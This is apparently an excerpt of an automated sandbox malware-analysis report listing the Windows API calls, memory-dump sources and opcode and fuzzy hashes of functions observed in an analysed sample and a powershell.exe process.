Instruction Fuzzy Hash: 4C01B179604344CFEB10DF29DC85766FBA8DF00225F18C4AADC09CB682D778E444CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0281104E, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 0281109E

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: a21a222536bc244ca158ba7a3b5c3db92226d3161f32ebfbe9f238188a7c648f
Instruction ID: 864ce1d4b61978a4afbfbc922faaed7064308fba9a31af92f67847bb191498f5
Opcode Fuzzy Hash: a21a222536bc244ca158ba7a3b5c3db92226d3161f32ebfbe9f238188a7c648f
Instruction Fuzzy Hash: 26017171900600ABE310DF16DC46B66FBA8FB84B20F14816AED089B741D675B915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 01CFA1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 01CFA23E

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: e06f989ec3b61034e5682476a7b59b90991042cb8eb4e4b46df712657f739b66
Instruction ID: a9cf39e0527e254c9ff6cab897da62b35b9b28122720b74a9c0fc71819f63621
Opcode Fuzzy Hash: e06f989ec3b61034e5682476a7b59b90991042cb8eb4e4b46df712657f739b66
Instruction Fuzzy Hash: 1D018471900600AFE710DF16DC46B76FBA8FB84B20F14816AED089B741D675F915CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 028112FA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

SetConsoleTextAttribute.KERNEL32(?,?), ref: 0281132F

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: AttributeConsoleText
String ID:
API String ID: 646522457-0
Opcode ID: eed8cd4a27bfb38ccd5a0e63526e6ba69040e1b8952bf60dfb207c5df66016e4
Instruction ID: 4b41a95e10067c0c410cec74b75526e7a90adb91b32c4463c02bc4643939b6dd
Opcode Fuzzy Hash: eed8cd4a27bfb38ccd5a0e63526e6ba69040e1b8952bf60dfb207c5df66016e4
Instruction Fuzzy Hash: 0101D479504344DFEF10CF15DC89765FBA8EF04624F08C4AADD0DCBA56D2799504CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFBAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 01CFBB2F

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 524cb6b8047d2008c0bddad0c617571cf5e5b37bd88c38c943f25f529cc98b0c
Instruction ID: 9b6172835c782bfb03dfdc45f2046b4ea49c9afd2845bf760c9a5777f3a70b66
Opcode Fuzzy Hash: 524cb6b8047d2008c0bddad0c617571cf5e5b37bd88c38c943f25f529cc98b0c
Instruction Fuzzy Hash: 4B012F31500204CFEB20CF19DC847A5FBA0EF00220F08C4AEDE098BA56D374E904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028104B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 02810502

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 2becd8644885411f2fd7a973ec86f1c2a97c8d8198abd283bfd5a6cd6f8c043a
Instruction ID: efd3df324a610a14bead7877949ca2c0a8c76ab059b7a4d2a916eaa09682268f
Opcode Fuzzy Hash: 2becd8644885411f2fd7a973ec86f1c2a97c8d8198abd283bfd5a6cd6f8c043a
Instruction Fuzzy Hash: E4016271900600ABE310DF16DC46B26FBA4FB88B20F14815AED085B741D675F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 02810F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNELBASE(?), ref: 02810FB0

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 03ed3df0cc282df3c090062116ef80ec4fbfe5eccc16c421b9eef706a0a92e02
Instruction ID: 3f2ff789a932421cec6633a08f75174df9a4a5ab62ad9a74d0bafb871f00881a
Opcode Fuzzy Hash: 03ed3df0cc282df3c090062116ef80ec4fbfe5eccc16c421b9eef706a0a92e02
Instruction Fuzzy Hash: 33017C79504344DFEB20DF15DC86B66FBA8EB00625F18C4AADC08CF686D374E548CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01CFA8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01CFA94A

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: bbfea6ffd5a190f48adf1411e8e695170c40f7c6073c1ae313e904cc6499138c
Instruction ID: cad75b62ed4dd74bdf61416297c9da54f1a30fb97b09f6dd4c66510280c0eead
Opcode Fuzzy Hash: bbfea6ffd5a190f48adf1411e8e695170c40f7c6073c1ae313e904cc6499138c
Instruction Fuzzy Hash: 93016271900600ABE310DF16DC46B26FBA4FB88B20F14815AED085B741D675F915CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 0281060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNELBASE(?), ref: 02810640

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 1a27de961bd3c37d90f7ca62949612a69541e13f003d5caa88727cff943ee956
Instruction ID: 5e4195b4962a812b0b928c86f23e9a8ac9486937e56aae80377679e3b54cb0c0
Opcode Fuzzy Hash: 1a27de961bd3c37d90f7ca62949612a69541e13f003d5caa88727cff943ee956
Instruction Fuzzy Hash: AB01D179A04744CFEB208F15DC85765FBA4DF41625F08C0AADD098B692D274A988CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01CFAB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNELBASE ref: 01CFABC9

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 7b031cfd18eec6da9aa89294df9c9470e4c9801e40c8578bdaa1c4552ef1205c
Instruction ID: f84590288af58b1f25a43932826aeb692f1b52ad1b438c5d7902081723301573
Opcode Fuzzy Hash: 7b031cfd18eec6da9aa89294df9c9470e4c9801e40c8578bdaa1c4552ef1205c
Instruction Fuzzy Hash: BF01DC31508344DFEB50DF5AD889BA1FBA4EF00221F08C4AACE0C8F606D275E504CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02811116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 02811148

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: b8389c2c030095853683bc4a757562d7037d5c20c4b9f32d34afcc9b7c9614e8
Instruction ID: e2e3d47c1151a1836d19740a511d12d416c913dd7e1f9f4cad0b4119d23648c6
Opcode Fuzzy Hash: b8389c2c030095853683bc4a757562d7037d5c20c4b9f32d34afcc9b7c9614e8
Instruction Fuzzy Hash: 52F0FF38504744DFEB20CF05D889761FBA8EF01A25F08C09ACE0D8B752C2B5A548CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0281096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?), ref: 0281099C

Memory Dump Source

Source File: 0000000A.00000002.2133270958.0000000002810000.00000040.00000001.sdmp, Offset: 02810000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: a38052c1f62526818275ca1d7a37a4a05b00a35cc33d49edefce9dfc8b2ea37a
Instruction ID: 3b0b98b2558fd5b02c1939c07072dad7beb37f45dd330582ce2da3608ea57c6f
Opcode Fuzzy Hash: a38052c1f62526818275ca1d7a37a4a05b00a35cc33d49edefce9dfc8b2ea37a
Instruction Fuzzy Hash: 61F0FF38504344CFFB208F05DC84721FBA4EF04326F08C09ACD488B35AC275A548CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01CFA36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(?), ref: 01CFA39C

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: d5c86285788984a80b815ed9e62dc0f639208ee2892cdd0c0cbd3ea1e4d876b1
Instruction ID: d8d91c0bcf7d61ee73e28145b6c939057e96921e9c6a838cabd70480f5d72949
Opcode Fuzzy Hash: d5c86285788984a80b815ed9e62dc0f639208ee2892cdd0c0cbd3ea1e4d876b1
Instruction Fuzzy Hash: C5F0A935504744DFEB619F0AD889765FBA0EF04B25F08C09ADE0D4B712D3B5EA08CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01CFAA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01CFAA71

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: f4687307d9f20ae3f37ad220b56b33a6158c078c4717a71afd1dd171de06d9e0
Instruction ID: 8726d96c081f0b9c535827ab9c4e5ddb77d2f4de7cf1b7448fc565ec654d3bc7
Opcode Fuzzy Hash: f4687307d9f20ae3f37ad220b56b33a6158c078c4717a71afd1dd171de06d9e0
Instruction Fuzzy Hash: 2CF0C231504744CFEB50CF0AD986761FBA0DF04621F08C09ADE0D4B752D274E50CCEA2

Uniqueness

Uniqueness Score: -1.00%

Function 01CFA974, Relevance: 1.3, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01CFA9C8

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a1a298ab0cfacdac63157c597e73df5c9258ee01f751d98f83a7c1deef1f99af
Instruction ID: 3c262e7f6bd490ae829e9d4e29d1858569322ac7d959f7e01b56775b34cbd910
Opcode Fuzzy Hash: a1a298ab0cfacdac63157c597e73df5c9258ee01f751d98f83a7c1deef1f99af
Instruction Fuzzy Hash: 491191715093849FD712CB25DC45B92FFA4DF02224F0980EFED498B263D275A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CFA996, Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?), ref: 01CFA9C8

Memory Dump Source

Source File: 0000000A.00000002.2128726951.0000000001CFA000.00000040.00000001.sdmp, Offset: 01CFA000, based on PE: false

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e34a6441cb7b4b13624de6f798f4a8e345ee37c6ababba8407e603b756580258
Instruction ID: e661eee6a523f316659daa5a4a393468229439e1cd53e57080ddcc124d1fa5a1
Opcode Fuzzy Hash: e34a6441cb7b4b13624de6f798f4a8e345ee37c6ababba8407e603b756580258
Instruction Fuzzy Hash: ED01DF75604680DFEB50DF1AD8857A6FB94DF00220F08C0AEDE098B642D275EA08CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02B80861, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2133777061.0000000002B80000.00000040.00000001.sdmp, Offset: 02B80000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8986831fe5c4721748727c50260f914c3a22233957f1317728f4c10059f0a851
Instruction ID: 864325a1a566e5df4e533e8522b36cf1b68f9c4551dfac51c801d318493731c3
Opcode Fuzzy Hash: 8986831fe5c4721748727c50260f914c3a22233957f1317728f4c10059f0a851
Instruction Fuzzy Hash: 71F06D2220E3D11FC303576898645597FB25F9715035E42EBD081CF2A3CA189C85C3E2

Uniqueness

Uniqueness Score: -1.00%

Function 02A9081E, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2133713252.0000000002A90000.00000040.00000040.sdmp, Offset: 02A90000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f1cc32fa024f0f48d7ef4fe18dc647cc717614a8f138a18080667866672c0e6
Instruction ID: 102e23ac6eb73ce7216bc5561a433fda3f53fcdcc721c172e51f37c2097800be
Opcode Fuzzy Hash: 4f1cc32fa024f0f48d7ef4fe18dc647cc717614a8f138a18080667866672c0e6
Instruction Fuzzy Hash: 98E092766047048BEB50CF0AEC41452F794EB84A30B18C07FDC0D8B711D175B608CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 01CF23F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2128720706.0000000001CF2000.00000040.00000001.sdmp, Offset: 01CF2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93e40560d5fccf95c0f15c68a80b776cbe021ab706db2afd511308c24038a70d
Instruction ID: 5a3be7c96f88813bf415b7ff19543472687bbab2faeb4fdf9350570e4ec6138c
Opcode Fuzzy Hash: 93e40560d5fccf95c0f15c68a80b776cbe021ab706db2afd511308c24038a70d
Instruction Fuzzy Hash: ECD05E79204A818FE7178A1CC1A4B953FA4AF55B04F4744FEE940CB6A3C7A8E681E210

Uniqueness

Uniqueness Score: -1.00%

Function 01CF23BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2128720706.0000000001CF2000.00000040.00000001.sdmp, Offset: 01CF2000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a723b817ab11d567af27d5f7743ca857327e971ec26539f384b32eb289bf0bce
Instruction ID: 368a7100be013fc3781f381c6e7cbb75c3da8291052acd7b1111fae89e31e05f
Opcode Fuzzy Hash: a723b817ab11d567af27d5f7743ca857327e971ec26539f384b32eb289bf0bce
Instruction Fuzzy Hash: 9ED05E743006818FEB15CA1CC194F5977E8AF40B00F0644ECBD008B266C3A4E984C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: powershell.exe PID: 1748 Parent PID: 2760 powershell.exeCOMMON

Executed Functions

Function 01C7ACB7, Relevance: 1.6, APIs: 1, Instructions: 75COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01C7AD37

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: 6cd29f6d7deb6d6a809ef2a380882413757d53f86b20d6c408670deb6c4ce72c
Instruction ID: c227c2d0944de482ad7b22696dc2a025bf8528490d2b2a7c61060678287f863b
Opcode Fuzzy Hash: 6cd29f6d7deb6d6a809ef2a380882413757d53f86b20d6c408670deb6c4ce72c
Instruction Fuzzy Hash: C921D3765097809FEB138F25DC44B92BFB4EF16310F0884DAE9848B163D271D908DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01C7ACEE, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

AdjustTokenPrivileges.KERNELBASE(?,?,?,?,?,?), ref: 01C7AD37

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: AdjustPrivilegesToken
String ID:
API String ID: 2874748243-0
Opcode ID: a2704554a1f4144746e2a20d68b950e63a38904f0f71d552942ec05fe0a02209
Instruction ID: c20c182bf6c44c7c1327eb1cc5b89a9e10a5728d03ada90828212e60bca75d71
Opcode Fuzzy Hash: a2704554a1f4144746e2a20d68b950e63a38904f0f71d552942ec05fe0a02209
Instruction Fuzzy Hash: FB11AC76500700DFEB21CF65D884BAAFBE4EF14321F08C4AAED498B662D371E514CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01C7B2CC, Relevance: 1.6, APIs: 1, Instructions: 50nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01C7B329

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 566d15632bacb971cc7c015870e49e29bdbd8e3f8d8221a99849a5991c975b3a
Instruction ID: 26d5f6893c27d91f877b06a621516ec4240b179758b3cf5cfd4c778dd2fe4024
Opcode Fuzzy Hash: 566d15632bacb971cc7c015870e49e29bdbd8e3f8d8221a99849a5991c975b3a
Instruction Fuzzy Hash: 9811A071508380AFDB228F15DC45F62FFB4EF06220F09849AED844B663C275A918DB62

Uniqueness

Uniqueness Score: -1.00%

Function 01C7B2EE, Relevance: 1.5, APIs: 1, Instructions: 38nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,?,?), ref: 01C7B329

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 3acf6c07ff4cb0b3570f446c0943e5908df355b5974e9551e6c0f4290465b3af
Instruction ID: 64ad9c3cfd8b60bc274b234d115a21360ed956806c7188cf2563961a90ca9b10
Opcode Fuzzy Hash: 3acf6c07ff4cb0b3570f446c0943e5908df355b5974e9551e6c0f4290465b3af
Instruction Fuzzy Hash: B801AD32500700DFEB218F09D885B61FFA0EF04B20F08C09ADD494B612C6B5E958DB62

Uniqueness

Uniqueness Score: -1.00%

Function 021F0118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 021F01D0

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 83611bfb636ccb4af6c6547b83c4c29916ac47e0ebcfd257b19330abc86c580e
Instruction ID: 0c89a1568a81b589916e4af666baccaa9f8ad9e559463a9f0d3fe1a276e4c12e
Opcode Fuzzy Hash: 83611bfb636ccb4af6c6547b83c4c29916ac47e0ebcfd257b19330abc86c580e
Instruction Fuzzy Hash: 1331556654E3C08FE7138B759C65692BFB4AF07210F0E84DBD984CF1A3D6299809CB62

Uniqueness

Uniqueness Score: -1.00%

Function 021F067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 021F072D

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 7b67b7b4b1e0ef711330fcd189e3ef06a195e5f785e9bce6ba24f74873b893e0
Instruction ID: b195f3391c290a5a12a6720aff92b29280ebeb8f498bc72e9ae9935021739711
Opcode Fuzzy Hash: 7b67b7b4b1e0ef711330fcd189e3ef06a195e5f785e9bce6ba24f74873b893e0
Instruction Fuzzy Hash: 49316475509340AFE721CF65CC45F56BFF8EF05210F09859EE9858B293D375A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 021F0D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 021F0DD6

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: e5d38f43c47d002fdf34b4d799f92bfe9337a2594aee4990e360937fce7854e9
Instruction ID: 20f385dd9dffe6bab23696b2c37a6e62c78f63eda830c2b8046b74ca86c0abf0
Opcode Fuzzy Hash: e5d38f43c47d002fdf34b4d799f92bfe9337a2594aee4990e360937fce7854e9
Instruction Fuzzy Hash: 1731C5B1509380AFE712CB25DC45B96BFE8DF06314F1884AAE984CF293D375A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 01C7BD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 01C7BDBC

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 0ad6e683ecf640b1044330dc9b01d68e73b572a925b3148619bc81c88ee1cf41
Instruction ID: 528015bb181e0a835d8870f40a0c606475c716bfe242c173511e73d58500443e
Opcode Fuzzy Hash: 0ad6e683ecf640b1044330dc9b01d68e73b572a925b3148619bc81c88ee1cf41
Instruction Fuzzy Hash: AE31B172109380AFE722CB60CC45F96BFB8EF06210F1884DBE984CB192D225A908C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01C7AF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 01C7AFBE

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 45b7b416d949516d84ed44c68914367efef69fa3caee44f2d0b8c7c6c9ba9758
Instruction ID: bca4aeaf0cb4220d9a33e33286d6d2470cdadebefbfe01c3b2d68e52a9726106
Opcode Fuzzy Hash: 45b7b416d949516d84ed44c68914367efef69fa3caee44f2d0b8c7c6c9ba9758
Instruction Fuzzy Hash: E021A2B2509380AFE7138B64DC45B96BFB8EF06320F1884DAE984DB193D265A949C771

Uniqueness

Uniqueness Score: -1.00%

Function 021F0FEE, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000E9C,?,?), ref: 021F109E

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 70b3357d6e1d6168cd0b804dc858a78ecbafff980c2edf5800db04d9e04d4c5b
Instruction ID: 484f55a7927f677dbbad04817480f6e3bfaf7eb6cd2e7862ffa3febe0183de76
Opcode Fuzzy Hash: 70b3357d6e1d6168cd0b804dc858a78ecbafff980c2edf5800db04d9e04d4c5b
Instruction Fuzzy Hash: 523171B550E3C06FD3138B358C55B56BFB4AF43610F1A81DBD884CF2A3D629A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 01C7B01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 01C7B0AE

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: f60fbc513b09afd45f01f5431369e62de0580294bb7cac810cad0b26c35f91c6
Instruction ID: 126963727279ad204dc897ca111485784fdd190d78c4d8878b7d8f00fa92c8f0
Opcode Fuzzy Hash: f60fbc513b09afd45f01f5431369e62de0580294bb7cac810cad0b26c35f91c6
Instruction Fuzzy Hash: 2021A3B1509380EFE722CF15CC45FA6BFB8EF06220F08849AE945DB152D664E948CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01C7A1A8, Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 01C7A23E

Memory Dump Source

Source File: 0000000D.00000002.2134135475.0000000001C7A000.00000040.00000001.sdmp, Offset: 01C7A000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 993d7d15104fed6549cfcb3904e9f02537d5ae8c3695d2e64bcf9c32f6ab7c59
Instruction ID: 0f1ddb58296511f0e8da238e0afa4ec3554a73b8f6988ced1040229a5b945ac0
Opcode Fuzzy Hash: 993d7d15104fed6549cfcb3904e9f02537d5ae8c3695d2e64bcf9c32f6ab7c59
Instruction Fuzzy Hash: 4321D37140D3C06FD3028B258C51B66BFB4EF47620F1981DBD8848B693D229A909C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 021F0784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 021F0819

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 622064f62699be23fe758144e27cc0bff63fb5a563397ca75f3fc8a541be6e16
Instruction ID: eee7ba8752bc391349f8d2ef7314755212cbd9d34cc7efb554d8a44f79ff4bf7
Opcode Fuzzy Hash: 622064f62699be23fe758144e27cc0bff63fb5a563397ca75f3fc8a541be6e16
Instruction Fuzzy Hash: EE2107B6408780AFE712CB159C41FA3BFA8EF46720F1981DBF9848B197D324A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 021F0464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 021F0502

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 7f460ea7ece3fedc43bb899c81e45caea39d93fddc7afe2a7cbe6af1d5bcde13
Instruction ID: c51258fa2bda628678e9c5fe8cf5bbe6804090f013d5cd7ac2561bf3d53214db
Opcode Fuzzy Hash: 7f460ea7ece3fedc43bb899c81e45caea39d93fddc7afe2a7cbe6af1d5bcde13
Instruction Fuzzy Hash: A221717550E3C0AFD3128B358C55B62BFB4EF47610F1A81CBD8848F693D225A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 021F06AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,?,?,?,?), ref: 021F072D

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 0c46c8919b3fa8272daf014a73193b3813650740c47de4ee1cc7ef73ecece75a
Instruction ID: ad90d34e9131324ea3f6064cc5ede94471c45f53374e0b88d31e355922576007
Opcode Fuzzy Hash: 0c46c8919b3fa8272daf014a73193b3813650740c47de4ee1cc7ef73ecece75a
Instruction Fuzzy Hash: 2521B071500300EFEB20DF65CC85F66FBE8EF08350F1485AAEA898B296D331E804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 021F0854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,00000E9C,FEB692A0,00000000,00000000,00000000,00000000), ref: 021F08E5

Memory Dump Source

Source File: 0000000D.00000002.2135853527.00000000021F0000.00000040.00000001.sdmp, Offset: 021F0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: b451d60f8a0a0f2fe825c13f7c9f2ed2be3d11853224d91fdcc1dbea6930ce72
Instruction ID: e654808b44491f767aa6a6774d70b787b2653fe425db6e3d309cc74a5ea7b28d
Opcode Fuzzy Hash: b451d60f8a0a0f2fe825c13f7c9f2ed2be3d11853224d91fdcc1dbea6930ce72
